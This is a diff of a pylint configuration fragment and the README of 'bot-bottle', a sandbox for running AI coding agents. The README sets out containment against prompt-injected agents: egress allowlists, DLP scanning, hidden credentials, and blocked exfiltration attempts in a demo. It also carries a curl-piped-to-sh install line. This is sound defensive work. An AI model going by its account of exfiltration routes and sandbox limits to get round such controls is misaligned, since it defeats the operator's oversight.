missing-member-hint=yes
|
||||||
|
|
||||||
|
# The maximum edit distance a name should have in order to be considered a
|
||||||
|
# similar match for a missing member name.
|
||||||
|
missing-member-hint-distance=1
|
||||||
|
|
||||||
|
# The total number of similar names that should be taken in consideration when
|
||||||
|
# showing a hint for a missing member.
|
||||||
|
missing-member-max-choices=1
|
||||||
|
|
||||||
|
# Regex pattern to define which classes are considered mixins.
|
||||||
|
mixin-class-rgx=.*[Mm]ixin
|
||||||
|
|
||||||
|
# List of decorators that change the signature of a decorated function.
|
||||||
|
signature-mutators=
|
||||||
|
|
||||||
|
|
||||||
|
[VARIABLES]
|
||||||
|
|
||||||
|
# List of additional names supposed to be defined in builtins. Remember that
|
||||||
|
# you should avoid defining new builtins when possible.
|
||||||
|
additional-builtins=
|
||||||
|
|
||||||
|
# Tells whether unused global variables should be treated as a violation.
|
||||||
|
allow-global-unused-variables=yes
|
||||||
|
|
||||||
|
# List of names allowed to shadow builtins
|
||||||
|
allowed-redefined-builtins=
|
||||||
|
|
||||||
|
# List of strings which can identify a callback function by name. A callback
|
||||||
|
# name must start or end with one of those strings.
|
||||||
|
callbacks=cb_,
|
||||||
|
_cb
|
||||||
|
|
||||||
|
# A regular expression matching the name of dummy variables (i.e. expected to
|
||||||
|
# not be used).
|
||||||
|
dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
|
||||||
|
|
||||||
|
# Argument names that match this expression will be ignored.
|
||||||
|
ignored-argument-names=_.*|^ignored_|^unused_
|
||||||
|
|
||||||
|
# Tells whether we should check for unused import in __init__ files.
|
||||||
|
init-import=no
|
||||||
|
|
||||||
|
# List of qualified module names which can have objects that can redefine
|
||||||
|
# builtins.
|
||||||
|
redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
|
||||||
@@ -5,97 +5,29 @@
|
|||||||
# bot-bottle
|
# bot-bottle
|
||||||
|
|
||||||
[](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml)
|
[](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml)
|
||||||
|
[](https://github.com/PyCQA/pylint)
|
||||||
|
[](https://github.com/microsoft/pyright)
|
||||||
|
|
||||||
Run multiple Claude Code agents on your own machine, each scoped to its own secrets, skills, and egress allowlist.
|
**Problem:** Developer wants to run a coding agent without supervision, but they don't want a prompt injected or misbehaving agent wrecking their environment or exfiltrating sensitive data.
|
||||||
|
|
||||||

|
**Solution:** Ephemeral, per agent "bottles" the agent cannot modify that scan all traffic for data exfiltration and limit capabilities and egress to only what the agent needs.
|
||||||
|
|
||||||
Four prompts to the agent inside a real bottle:
|
## Features
|
||||||
claude replies to `hello there` — proof api.anthropic.com routes
|
|
||||||
through pipelock's bumped TLS end-to-end;
|
|
||||||
asked to GET a non-allowlisted host, the agent's curl gets 403 back
|
|
||||||
from pipelock;
|
|
||||||
asked to POST a credential-shaped body to an allowlisted host, the
|
|
||||||
same 403 — pipelock's DLP body scanner caught it;
|
|
||||||
asked to commit and push an AKIA-shaped key, git-gate's gitleaks
|
|
||||||
pre-receive hook rejects the ref.
|
|
||||||
Run it yourself with `bash scripts/demo.sh`.
|
|
||||||
|
|
||||||
## Why "bot-bottle"?
|
- **Per-bottle egress allowlist** — TLS-bumped HTTP/HTTPS chokepoint with a per-manifest host allowlist and request-body DLP scanner; DoH and arbitrary hosts blocked by default.
|
||||||
|
- **Tokens the agent never sees** — host secrets live in a sidecar; the agent dials `http://sidecar:9099/<path>` and the proxy strips inbound `Authorization` and injects the real token before forwarding. `printenv` in the agent shows proxy URLs only.
|
||||||
Each container is a bottle; Claude is the genie inside. The genie's
|
- **Gitleaks-scanned push (git-gate)** — `bottle.git` remotes route through a per-bottle `git daemon` that gitleaks-scans incoming refs pre-receive and forwards clean refs upstream over SSH. The agent never holds the upstream credential.
|
||||||
powers are exactly what the manifest grants it — a specific set of
|
- **Manifest-scoped skills + secrets** — each bottle declares its skills, env, git identity, remotes, and egress routes; unknown keys die at load.
|
||||||
skills, a specific set of secrets, and a specific set of hosts it can
|
- **Trust boundary at `$HOME`** — bottles (credentials, egress, remotes) live only under `~/.bot-bottle/bottles/`. Repos may ship agents but not bottles, so a cloned repo can't redirect an env var to an attacker host.
|
||||||
reach — nothing more. You uncork one bottle per agent
|
- **Composable bottles (`extends:`)** — keep provider/runtime policy in one base bottle (e.g. `claude.md`) and overlay task bottles on top.
|
||||||
(`./cli.py start <agent>`), many bottles run in parallel, and each is
|
- **Parallel, isolated bottles** — each bottle is its own per-agent Docker `--internal` network; bottles don't share state or talk to each other.
|
||||||
scoped to its task. When the session ends the bottle is destroyed and
|
- **Provider templates (Claude, Codex)** — `Dockerfile.claude` / `Dockerfile.codex`, or a bottle-supplied Dockerfile. Claude auth via long-lived OAuth token; Codex via opt-in host device-auth forwarding.
|
||||||
the genie does not persist.
|
- **gVisor auto-detect** — on Linux hosts where `runsc` is registered with Docker, every bottle launches under it for a userspace syscall barrier; no manifest config required.
|
||||||
|
- **Smolmachines backend (macOS)** — opt-in `BOT_BOTTLE_BACKEND=smolmachines` runs the agent in a libkrun micro-VM with the sidecar bundle still in Docker.
|
||||||
## Goals
|
|
||||||
|
|
||||||
- Scope each agent to the minimum credentials and network egress its task actually needs
|
|
||||||
- Run multiple agents in parallel, isolated from each other
|
|
||||||
- Keep code, credentials, and agent activity on infrastructure I control — no third-party agent runtime
|
|
||||||
|
|
||||||
## Project status
|
|
||||||
|
|
||||||
bot-bottle is a self-hosted secure runtime for AI coding agents.
|
|
||||||
Each agent runs in an isolated container or micro-VM-backed bottle with
|
|
||||||
scoped secrets, allowlisted egress, TLS-aware proxying, DLP checks, and
|
|
||||||
a git-gate that withholds upstream credentials and scans pushes before
|
|
||||||
forwarding. The project includes a documented threat model, PRD-driven
|
|
||||||
development history, Docker and smolmachines backends, dashboard and
|
|
||||||
remediation flows, and unit/integration tests covering exfiltration and
|
|
||||||
sandbox escape scenarios.
|
|
||||||
|
|
||||||
## Security model
|
|
||||||
|
|
||||||
Each agent runs in its own bottle: its own container, its own internal
|
|
||||||
Docker network, and its own pipelock sidecar. Bottles don't share
|
|
||||||
state, don't talk to each other, and only get the env vars, skills,
|
|
||||||
SSH identities, and egress hosts the manifest grants them — nothing
|
|
||||||
more. Any one agent only has the access it needs to do its job.
|
|
||||||
|
|
||||||
The bottle limits both what an agent can see and where it can send
|
|
||||||
it. Each bottle gets only the secrets and SSH identities the manifest
|
|
||||||
grants it — a Gitea token but not a GitHub token, a deploy key but
|
|
||||||
not a personal SSH key — so even a compromised or misbehaving agent
|
|
||||||
only handles credentials it was already trusted with for its job.
|
|
||||||
Egress flows through pipelock, which constrains where those
|
|
||||||
credentials can travel: an agent with a Gitea token can reach
|
|
||||||
`gitea.dideric.is`, not arbitrary attacker-controlled hosts. The same
|
|
||||||
constraint blocks DNS-over-HTTPS as an exfil channel — a DoH resolver
|
|
||||||
like `cloudflare-dns.com` would have to be on the allowlist for the
|
|
||||||
agent to reach it at all. The container itself adds a layer between
|
|
||||||
the agent and the host, but the v1 design leans more on secret
|
|
||||||
minimization and egress allowlisting than on the container as a
|
|
||||||
hardened boundary. On Linux hosts where [gVisor](https://gvisor.dev/)
|
|
||||||
is registered with Docker, bot-bottle auto-detects it and launches
|
|
||||||
every bottle under `runsc` for a userspace syscall barrier — no
|
|
||||||
manifest configuration required. The broader v2 discussion lives in
|
|
||||||
`docs/research/stronger-isolation-alternatives.md`.
|
|
||||||
|
|
||||||
The egress proxy and OAuth-token handling below are the load-bearing
|
|
||||||
pieces of v1.
|
|
||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
A bottle is two containers per agent: an `agent` container, and a
|
A bottle is two containers per agent: an `agent` container, and a `sidecars` container that bundles pipelock + cred-proxy + git-gate + supervise behind a Python init supervisor. They share a per-agent Docker `--internal` network; the agent has no default route off-box.
|
||||||
`sidecars` container that bundles pipelock + egress + git-gate +
|
|
||||||
supervise behind a Python init supervisor (PRD 0024). They share a
|
|
||||||
per-agent Docker `--internal` network; the agent has no default
|
|
||||||
route off-box. All HTTP and HTTPS egress funnels through pipelock,
|
|
||||||
where the egress allowlist, TLS interception, and request-body DLP
|
|
||||||
scanner enforce the manifest before any byte leaves the host. The
|
|
||||||
only egress that doesn't traverse pipelock is git-gate's SSH
|
|
||||||
push/fetch to `bottle.git` upstreams — pipelock can't proxy SSH,
|
|
||||||
so git-gate is its own L4-style egress path with gitleaks doing
|
|
||||||
the pre-receive scan.
|
|
||||||
|
|
||||||
The agent dials the bundle by the legacy short names (`pipelock`,
|
|
||||||
`egress`, `git-gate`, `supervise`); the renderer registers those as
|
|
||||||
docker-network aliases on the bundle so existing HTTPS_PROXY URLs
|
|
||||||
and MCP endpoints resolve without an agent-side change.
|
|
||||||
|
|
||||||
```
|
```
|
||||||
host ( ./cli.py )
|
host ( ./cli.py )
|
||||||
@@ -104,26 +36,21 @@ and MCP endpoints resolve without an agent-side change.
|
|||||||
▼
|
▼
|
||||||
┌─────────────────────────── bottle ──────────────────────────────────┐
|
┌─────────────────────────── bottle ──────────────────────────────────┐
|
||||||
│ │
|
│ │
|
||||||
│ ┌──────────────────┐ │
|
│ ┌──────────────────┐ ┌──────────────┐ │
|
||||||
│ │ agent image │ HTTPS_PROXY │
|
│ │ agent image │ HTTP(S) proxy │ cred-proxy │ │
|
||||||
│ │ (claude-code, │ ────────────────────────┐ │
|
│ │ (claude-code, │ ─────────────────►│ (strips/inj │ │
|
||||||
│ │ built locally) │ │ │
|
│ │ codex, etc) │ │ Authoriz.) │ │
|
||||||
│ │ │ plain HTTP │ │
|
│ │ │ └──────┬───────┘ │
|
||||||
│ │ skills, env, │ (token injection) ┌────▼─────────┐ │
|
│ │ environ: URLs │ │ │
|
||||||
│ │ ~/.gitconfig, │ ──────────────────►│ cred-proxy │ │
|
│ │ only, no real │ ▼ │
|
||||||
│ │ ~/.npmrc, tea │ │ (strips/inj │ │
|
│ │ tokens │ ┌────────────────┐ │ HTTPS to
|
||||||
│ │ │ │ Authoriz.) │ │
|
|
||||||
│ │ environ: URLs │ └─────┬────────┘ │
|
|
||||||
│ │ only, no real │ HTTPS_PROXY │ │
|
|
||||||
│ │ tokens │ ▼ │
|
|
||||||
│ │ │ ┌────────────────┐ │ HTTPS to
|
|
||||||
│ │ │ │ pipelock image │──────────┼──► allowlisted
|
│ │ │ │ pipelock image │──────────┼──► allowlisted
|
||||||
│ │ │ │ (TLS bump, DLP │ │ hosts (incl.
|
│ │ │ │ (TLS bump, DLP │ │ hosts (incl.
|
||||||
│ │ │ │ body scan, │ │ cred-proxy
|
│ │ │ │ body scan, │ │ cred-proxy
|
||||||
│ │ │ │ allowlist) │ │ upstreams)
|
│ │ │ │ allowlist) │ │ upstreams)
|
||||||
│ │ │ └────────────────┘ │
|
│ │ │ └────────────────┘ │
|
||||||
│ │ │ │
|
│ │ │ │
|
||||||
│ │ │ git:// ┌────────────────┐ │ SSH push/fetch
|
│ │ │ git proxy ┌────────────────┐ │ SSH push/fetch
|
||||||
│ │ │ ────────────────►│ git-gate image │──────────┼──► to bottle.git
|
│ │ │ ────────────────►│ git-gate image │──────────┼──► to bottle.git
|
||||||
│ │ │ │ (gitleaks + │ │ upstreams
|
│ │ │ │ (gitleaks + │ │ upstreams
|
||||||
│ └──────────────────┘ │ git daemon) │ │ (direct — not
|
│ └──────────────────┘ │ git daemon) │ │ (direct — not
|
||||||
@@ -137,192 +64,25 @@ and MCP endpoints resolve without an agent-side change.
|
|||||||
└─────────────────────────────────────────────────────────────────────┘
|
└─────────────────────────────────────────────────────────────────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
- **agent image** — built from the provider template Dockerfile
|
When the agent exits, `cli.py` tears down every sidecar and both networks; nothing about a bottle persists between runs.
|
||||||
(`Dockerfile.claude` for Claude, `Dockerfile.codex` for Codex, or
|
|
||||||
`agent_provider.dockerfile`) on first run; runs the selected agent
|
|
||||||
CLI with the manifest-granted skills, env vars, and `~/.gitconfig`
|
|
||||||
(the latter for the git-gate's `insteadOf` rules when `bottle.git`
|
|
||||||
is set).
|
|
||||||
- **pipelock image** — per-agent sidecar. Terminates the agent's
|
|
||||||
outbound HTTP/HTTPS, enforces the resolved allowlist, runs DLP
|
|
||||||
scanning. Design in `docs/prds/0001-per-agent-egress-proxy-via-pipelock.md`
|
|
||||||
and `docs/prds/0006-pipelock-tls-interception.md`.
|
|
||||||
- **git-gate image** — per-agent sidecar built on `zricethezav/gitleaks`
|
|
||||||
(alpine + gitleaks + git-daemon + openssh-client). Runs
|
|
||||||
`git daemon` over `git://` as a bidirectional mirror of each
|
|
||||||
declared upstream. A pre-receive hook gitleaks-scans incoming
|
|
||||||
refs and forwards clean refs to the real upstream over SSH; an
|
|
||||||
access-hook runs `git fetch origin --prune` against the upstream
|
|
||||||
before every upload-pack so an agent fetch returns whatever the
|
|
||||||
upstream has *now* (fail-closed if unreachable). The agent's
|
|
||||||
`~/.gitconfig` rewrites the real URL to the gate via `insteadOf`,
|
|
||||||
so push, fetch, clone, and pull all route through. The agent
|
|
||||||
never sees the upstream credential. Brought up only when
|
|
||||||
`bottle.git` has entries. Design in `docs/prds/0008-git-gate.md`.
|
|
||||||
- **cred-proxy image** — per-bottle sidecar (`python:3.13-alpine`
|
|
||||||
base, stdlib-only) that holds API tokens declared in
|
|
||||||
`bottle.cred_proxy.routes`. Each route names a `path`,
|
|
||||||
`upstream`, `auth_scheme`, and `token_ref` (host env var); the
|
|
||||||
agent dials `http://cred-proxy:9099<path>...` over plain HTTP
|
|
||||||
and the proxy strips any inbound `Authorization`, injects
|
|
||||||
`<auth_scheme> <token>` using the value held only in its own
|
|
||||||
container's environ, and forwards to the real upstream over
|
|
||||||
HTTPS. SSE responses stream back unbuffered. The cred-proxy's
|
|
||||||
outbound HTTPS routes through pipelock (it trusts pipelock's
|
|
||||||
per-bottle CA), so pipelock's egress allowlist + body scanner
|
|
||||||
apply to cred-proxy traffic the same way they apply to direct
|
|
||||||
agent traffic. Smart-HTTP push paths (`/git-receive-pack`,
|
|
||||||
`/info/refs?service=git-receive-pack`) are refused at the
|
|
||||||
proxy — push must go through `bottle.git` / git-gate where
|
|
||||||
gitleaks runs. Optional per-route `role` tags drive agent-side
|
|
||||||
rewrites: `anthropic-base-url`, `npm-registry`, `git-insteadof`,
|
|
||||||
`tea-login`. The agent's `printenv` shows only proxy URLs —
|
|
||||||
none of the real token values. Design in
|
|
||||||
`docs/prds/0010-cred-proxy.md`.
|
|
||||||
|
|
||||||
When the agent exits, `cli.py` tears down every sidecar that was
|
|
||||||
brought up and the two networks; nothing about a bottle persists
|
|
||||||
between runs.
|
|
||||||
|
|
||||||
## Quickstart
|
## Quickstart
|
||||||
|
|
||||||
Requires Docker on the host and a long-lived Claude Code OAuth token in
|
Requires Docker on the host and a long-lived Claude Code OAuth token (`claude setup-token`) exported as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`.
|
||||||
your shell env.
|
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
./cli.py start <agent> # builds the image on first run, drops you into claude
|
./cli.py start <agent> # builds the image on first run, drops you into claude
|
||||||
```
|
```
|
||||||
|
|
||||||
The container is removed automatically when the session ends. If the script
|
|
||||||
is killed with SIGKILL the exit trap won't fire and the container may be
|
|
||||||
left running; remove it with `docker rm -f <container-name>`.
|
|
||||||
|
|
||||||
### Smolmachines backend (experimental, macOS-only)
|
|
||||||
|
|
||||||
A second backend runs the agent in a smolvm micro-VM (libkrun) with the
|
|
||||||
sidecar bundle still in Docker. Selected via
|
|
||||||
`BOT_BOTTLE_BACKEND=smolmachines ./cli.py start <agent>`. Requires
|
|
||||||
`smolvm` on PATH (`curl -sSL https://smolmachines.com/install.sh | sh`).
|
|
||||||
|
|
||||||
The integration tests run against whichever backend the env var
|
|
||||||
selects and skip cleanly when its prerequisites are missing.
|
|
||||||
|
|
||||||
**One-time sudo on first launch (macOS):** smolmachines bottles
|
|
||||||
each reserve a loopback alias from a pool (`127.0.0.16` ..
|
|
||||||
`127.0.0.31`) and bind their bundle's port-forwards to it; the
|
|
||||||
first `./cli.py start` after each reboot prompts for sudo to add
|
|
||||||
missing aliases via `ifconfig lo0 alias`. Aliases persist until
|
|
||||||
reboot; subsequent launches don't prompt. The agent's TSI
|
|
||||||
allowlist is the alias's `/32`, so each bottle can only reach
|
|
||||||
its own bundle's published ports — not other bottles' ports,
|
|
||||||
not other host loopback services (postgres, dev servers, etc.).
|
|
||||||
|
|
||||||
This enforcement requires a workaround for a smolvm 0.8.0 bug:
|
|
||||||
the CLI's `--allow-cidr` flag is silently dropped when combined
|
|
||||||
with `--from <smolmachine>`. The launcher patches smolvm's
|
|
||||||
persistent state DB
|
|
||||||
(`~/Library/Application Support/smolvm/server/smolvm.db`)
|
|
||||||
directly between `machine create` and `machine start` to set
|
|
||||||
the allowlist. The hack falls away automatically when smolvm
|
|
||||||
honors the flag upstream — see the `loopback_alias` module's
|
|
||||||
docstring for the investigation trail.
|
|
||||||
|
|
||||||
## Manifest
|
## Manifest
|
||||||
|
|
||||||
Bottles and agents live as Markdown files with YAML frontmatter under
|
Bottles and agents are Markdown files with YAML frontmatter under `~/.bot-bottle/`. The Markdown body is the system prompt. Bottles live in `~/.bot-bottle/bottles/`; agents may also be shipped by a repo at `<repo>/.bot-bottle/agents/<name>.md`.
|
||||||
`~/.bot-bottle/`. Each bottle is one file in `bottles/`, each agent
|
|
||||||
is one file in `agents/`:
|
|
||||||
|
|
||||||
```
|
**Bottle** (`~/.bot-bottle/bottles/gitea-dev.md`):
|
||||||
~/.bot-bottle/
|
|
||||||
├── bottles/
|
|
||||||
│ ├── dev.md
|
|
||||||
│ └── gitea-dev.md
|
|
||||||
└── agents/
|
|
||||||
├── implementer.md
|
|
||||||
└── researcher.md
|
|
||||||
```
|
|
||||||
|
|
||||||
The filename (without `.md`) is the entity's name. Filenames must
|
|
||||||
match `[a-z][a-z0-9-]*`; files that don't are skipped with a warning.
|
|
||||||
|
|
||||||
A repo can ship its own agent files alongside its code at
|
|
||||||
`<repo>/.bot-bottle/agents/<name>.md`. Those agents reference
|
|
||||||
bottles defined in `~/.bot-bottle/bottles/` (the only place
|
|
||||||
bottles can come from); a `bottles/` subdir in a repo is ignored
|
|
||||||
with a warning. **This is the trust boundary**: bottle infrastructure
|
|
||||||
— credentials, egress allowlists, git remotes — comes from your home
|
|
||||||
directory only. A cloned repo cannot redirect a host env var to an
|
|
||||||
attacker-named upstream because it has no way to declare a bottle.
|
|
||||||
|
|
||||||
### Bottle composition with `extends:`
|
|
||||||
|
|
||||||
A bottle can inherit from another via `extends: <bottle-name>` so
|
|
||||||
operators don't have to duplicate a whole bottle file to vary one
|
|
||||||
field (PRD 0025). The parent's resolved config is the base; the
|
|
||||||
child's declared fields overlay. Merge rules:
|
|
||||||
|
|
||||||
- `env:` — dict merge, child wins on key collision.
|
|
||||||
- `git.user:` — per-field overlay (child's non-empty `name` /
|
|
||||||
`email` wins; empty falls through to parent).
|
|
||||||
- `git.remotes:` — dict merge by host, child wins on host collision.
|
|
||||||
An explicit `git.remotes: {}` clears the parent's remotes; omitting
|
|
||||||
`git.remotes` inherits the parent's remotes.
|
|
||||||
- `agent_provider:`, `egress:`, `supervise:` — full replace when the
|
|
||||||
child declares the field.
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
---
|
|
||||||
extends: dev # inherit everything from bottles/dev.md
|
|
||||||
egress:
|
|
||||||
routes:
|
|
||||||
- host: staging.example.com
|
|
||||||
auth:
|
|
||||||
scheme: Bearer
|
|
||||||
token_ref: STAGING_TOKEN
|
|
||||||
---
|
|
||||||
```
|
|
||||||
|
|
||||||
Cycles (`A extends B extends A`), self-references, and missing
|
|
||||||
parents die at parse with a clear pointer. Bottles remain
|
|
||||||
`$HOME`-only — `extends:` preserves the trust boundary above.
|
|
||||||
|
|
||||||
### Provider base bottles
|
|
||||||
|
|
||||||
Keep provider/runtime policy in one home-owned base bottle, then have
|
|
||||||
task bottles extend it. That keeps provider egress/auth in one place
|
|
||||||
without hiding security-relevant routes behind `agent_provider.template`.
|
|
||||||
|
|
||||||
For example, `~/.bot-bottle/bottles/claude.md` can hold the Claude
|
|
||||||
provider selection and Anthropic API egress:
|
|
||||||
|
|
||||||
````markdown
|
````markdown
|
||||||
---
|
---
|
||||||
agent_provider:
|
extends: claude # inherit the Claude provider boundary
|
||||||
template: claude
|
|
||||||
|
|
||||||
egress:
|
|
||||||
routes:
|
|
||||||
- host: api.anthropic.com
|
|
||||||
role: claude_code_oauth
|
|
||||||
auth:
|
|
||||||
scheme: Bearer
|
|
||||||
token_ref: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN
|
|
||||||
pipelock:
|
|
||||||
tls_passthrough: true
|
|
||||||
---
|
|
||||||
|
|
||||||
Common Claude provider boundary.
|
|
||||||
````
|
|
||||||
|
|
||||||
Task bottles can then inherit that provider boundary and add their own
|
|
||||||
env/git configuration without repeating the Claude route.
|
|
||||||
|
|
||||||
### Example bottle (`~/.bot-bottle/bottles/gitea-dev.md`)
|
|
||||||
|
|
||||||
````markdown
|
|
||||||
---
|
|
||||||
extends: claude
|
|
||||||
|
|
||||||
env:
|
env:
|
||||||
GIT_AUTHOR_NAME: didericis
|
GIT_AUTHOR_NAME: didericis
|
||||||
@@ -337,148 +97,7 @@ git:
|
|||||||
Upstream: ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git
|
Upstream: ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git
|
||||||
IdentityFile: /Users/didericis/.ssh/id_ed25519_gitea
|
IdentityFile: /Users/didericis/.ssh/id_ed25519_gitea
|
||||||
KnownHostKey: ssh-ed25519 AAAA...
|
KnownHostKey: ssh-ed25519 AAAA...
|
||||||
---
|
|
||||||
|
|
||||||
The `gitea-dev` bottle. Backs my work on personal projects: provider
|
|
||||||
auth through egress and gitea.dideric.is over SSH.
|
|
||||||
````
|
|
||||||
|
|
||||||
For a Codex-backed base bottle, set `agent_provider.template: codex`.
|
|
||||||
The Codex template expects ChatGPT/device login state instead of an
|
|
||||||
`OPENAI_API_KEY` env var; no API-key placeholder is forwarded into the
|
|
||||||
agent. To let bot-bottle read the host's current Codex ChatGPT access
|
|
||||||
token and inject it from egress only for Codex's API calls, opt in
|
|
||||||
explicitly:
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
agent_provider:
|
|
||||||
template: codex
|
|
||||||
forward_host_credentials: true
|
|
||||||
|
|
||||||
egress:
|
|
||||||
routes:
|
|
||||||
- host: auth.openai.com
|
|
||||||
path_allowlist:
|
|
||||||
- /api/accounts/deviceauth/
|
|
||||||
```
|
|
||||||
|
|
||||||
Run `codex login --device-auth` on the host before launch. The
|
|
||||||
launcher reads `tokens.access_token` from the host's
|
|
||||||
`~/.codex/auth.json`, verifies it is fresh user/device auth, and passes
|
|
||||||
it to the sidecar's `EGRESS_TOKEN_N` env slot. The agent container gets
|
|
||||||
a dummy `~/.codex/auth.json` that preserves the host auth-mode shape
|
|
||||||
but replaces credential values with placeholders. It keeps the selected
|
|
||||||
ChatGPT account id so Codex sends requests for the same account while
|
|
||||||
egress owns the real bearer token. The agent never receives real access
|
|
||||||
tokens, refresh tokens, or `OPENAI_API_KEY`. The effective egress table
|
|
||||||
automatically adds or upgrades `api.openai.com` and `chatgpt.com` to
|
|
||||||
authenticated routes when `forward_host_credentials` is true.
|
|
||||||
|
|
||||||
The built-in Codex template uses `Dockerfile.codex`; set
|
|
||||||
`agent_provider.dockerfile` to build the agent from a custom Dockerfile
|
|
||||||
while keeping the bot-bottle sidecars in place.
|
|
||||||
|
|
||||||
### Example agent (`~/.bot-bottle/agents/gitea-helper.md`)
|
|
||||||
|
|
||||||
````markdown
|
|
||||||
---
|
|
||||||
bottle: gitea-dev
|
|
||||||
skills:
|
|
||||||
- init-prd
|
|
||||||
git:
|
|
||||||
user:
|
|
||||||
name: gitea-helper
|
|
||||||
email: eric+gitea-helper@dideric.is
|
|
||||||
---
|
|
||||||
|
|
||||||
You help maintain Gitea-hosted projects.
|
|
||||||
````
|
|
||||||
|
|
||||||
The agent's Markdown body is its system prompt (whitespace
|
|
||||||
stripped). The frontmatter declares the bottle to launch in and any
|
|
||||||
skills to mount. You can also include Claude Code subagent fields
|
|
||||||
(`name`, `description`, `model`, `color`, `memory`) in the
|
|
||||||
frontmatter — bot-bottle ignores them at launch but doesn't
|
|
||||||
reject them, so the same file can drop into `~/.claude/agents/` as a
|
|
||||||
Claude Code subagent.
|
|
||||||
|
|
||||||
An agent may also declare `git.user` (`name` / `email`). It overlays
|
|
||||||
the referenced bottle's `git.user` per-field — the agent's non-empty
|
|
||||||
fields win, the rest fall through to the bottle — so two agents can
|
|
||||||
share one bottle and still commit under distinct identities without
|
|
||||||
an identity-only bottle (PRD 0027). Only `git.user` is allowed at the
|
|
||||||
agent level; `git.remotes` stays bottle-only because it carries
|
|
||||||
credentials and host trust. The launch preflight and `cli.py info`
|
|
||||||
print the effective identity annotated `(agent)` / `(bottle)` so you
|
|
||||||
can see where each field came from. Git authorship is not a
|
|
||||||
credential — push auth is the bottle's remote key/token — so a
|
|
||||||
repo-shipped agent setting its own identity grants no access; treat
|
|
||||||
an agent identity as *claimed, not vouched*.
|
|
||||||
|
|
||||||
Unknown top-level frontmatter keys die at load with a "did you mean"
|
|
||||||
pointer; typos don't silently ghost into an empty config.
|
|
||||||
|
|
||||||
The YAML subset the frontmatter accepts is bounded (flat keys,
|
|
||||||
strings / ints / true-or-false bools / null / lists / one-level
|
|
||||||
nested dicts). Anchors, multi-line block scalars, tags, and
|
|
||||||
ambiguous bare strings (`yes` / `NO` / `2026-05-24` /
|
|
||||||
`0x...`) all die with a clear pointer at the spec — quote your
|
|
||||||
strings when in doubt. The full schema lives in
|
|
||||||
`bot_bottle/yaml_subset.py` (~450 lines, stdlib-only, no PyYAML).
|
|
||||||
|
|
||||||
Working examples live under `examples/`. Pipelock's design lives in
|
|
||||||
`docs/prds/0001-per-agent-egress-proxy-via-pipelock.md` and the
|
|
||||||
rationale in `docs/research/pipelock-assessment.md`. The trust
|
|
||||||
boundary rationale lives in `docs/prds/0011-per-file-md-manifest.md`.
|
|
||||||
|
|
||||||
## Auth: Claude OAuth token, not API key
|
|
||||||
|
|
||||||
Bottles that use `agent_provider.template: claude` authenticate
|
|
||||||
`claude` inside the container with the same Pro/Max subscription you
|
|
||||||
already use on the host, via a long-lived OAuth token. No
|
|
||||||
`ANTHROPIC_API_KEY` is needed.
|
|
||||||
|
|
||||||
**Why a token instead of mounting `~/.claude.json`:** on macOS, Claude
|
|
||||||
Code stores OAuth credentials in the encrypted Keychain, not in
|
|
||||||
`~/.claude.json`. Mounting that file into a Linux container does not
|
|
||||||
carry the credentials with it. Linux hosts keep credentials in
|
|
||||||
`~/.claude/.credentials.json`, but to keep the launcher portable
|
|
||||||
bot-bottle uses the env-var path on every host.
|
|
||||||
|
|
||||||
**One-time setup on the host:**
|
|
||||||
|
|
||||||
```sh
|
|
||||||
claude setup-token # browser login, prints a ~1-year OAuth token
|
|
||||||
```
|
|
||||||
|
|
||||||
Stash the token in your shell env (e.g. `~/.zshrc` or a secret manager)
|
|
||||||
as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
export BOT_BOTTLE_CLAUDE_OAUTH_TOKEN="<token>"
|
|
||||||
```
|
|
||||||
|
|
||||||
The Claude bottle reaches the Anthropic API only through the cred-proxy
|
|
||||||
sidecar. To let `claude` authenticate, declare an egress route with
|
|
||||||
`role: claude_code_oauth` and
|
|
||||||
`token_ref: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`:
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
egress:
|
|
||||||
routes:
|
|
||||||
- host: api.anthropic.com
|
|
||||||
role: claude_code_oauth
|
|
||||||
auth:
|
|
||||||
scheme: Bearer
|
|
||||||
token_ref: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN
|
|
||||||
pipelock:
|
|
||||||
tls_passthrough: true
|
|
||||||
```
|
|
||||||
|
|
||||||
Routes that resolve to private or Tailscale addresses can opt into
|
|
||||||
pipelock's SSRF destination allowlist explicitly:
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
egress:
|
egress:
|
||||||
routes:
|
routes:
|
||||||
- host: gitea.dideric.is
|
- host: gitea.dideric.is
|
||||||
@@ -486,38 +105,31 @@ egress:
|
|||||||
scheme: token
|
scheme: token
|
||||||
token_ref: BOT_BOTTLE_GITEA_TOKEN
|
token_ref: BOT_BOTTLE_GITEA_TOKEN
|
||||||
pipelock:
|
pipelock:
|
||||||
ssrf_ip_allowlist:
|
ssrf_ip_allowlist: [100.78.141.42/32]
|
||||||
- 100.78.141.42/32
|
---
|
||||||
```
|
|
||||||
|
|
||||||
At launch, `cli.py` reads `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN` from the host
|
The `gitea-dev` bottle. Provider auth via the inherited Claude route;
|
||||||
env and forwards it into the cred-proxy container's environ — never
|
gitea over SSH for push, token over HTTPS for the API.
|
||||||
into the agent's. The agent receives `ANTHROPIC_BASE_URL` pointing at
|
````
|
||||||
`http://cred-proxy:9099/anthropic` and a non-secret placeholder for
|
|
||||||
`CLAUDE_CODE_OAUTH_TOKEN` (claude-code refuses to start without one;
|
|
||||||
the proxy strips and replaces the header on every request). `printenv`
|
|
||||||
inside the agent does not surface the real token, and the value is
|
|
||||||
never written to disk or placed on argv on the host.
|
|
||||||
|
|
||||||
A Claude bottle without a `claude_code_oauth` route has no path to the
|
**Agent** (`~/.bot-bottle/agents/gitea-helper.md`):
